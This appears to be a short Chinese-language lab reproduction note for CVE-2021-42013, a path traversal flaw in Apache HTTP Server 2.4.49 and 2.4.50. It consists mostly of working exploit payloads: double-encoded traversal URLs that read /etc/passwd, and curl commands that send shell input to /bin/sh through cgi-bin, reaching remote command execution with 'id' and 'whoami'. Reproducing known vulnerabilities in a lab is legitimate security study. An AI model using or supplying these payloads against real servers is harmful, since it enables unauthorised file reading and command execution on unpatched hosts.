Apache HTTP 服务器项目旨在为现代操作系统(包括 UNIX 和 Windows)开发和维护开源 HTTP 服务器。
CVE-2021-42013 是由 CVE-2021-41773 修复不完整导致的漏洞,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。
此漏洞影响 Apache HTTP Server 2.4.49 和 2.4.50 以及更早版本。
复现:
默认页面:http://192.168.92.130:8080
Apache HTTP Server 2.4.50 修补了之前的 CVE-2021-41773 有效负载,但它不完整。
http://your:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
用于绕过修补程序(请注意,必须是现有目录):.%%32%65/icons/
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
http://192.168.92.130:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
存在目录遍历漏洞
在服务器上启用 mods cgi 或 cgid 后 此目录遍历漏洞将允许任意命令执行:
curl -v --data "echo;id" 'http://192.168.92.130:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.92.130:8080//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"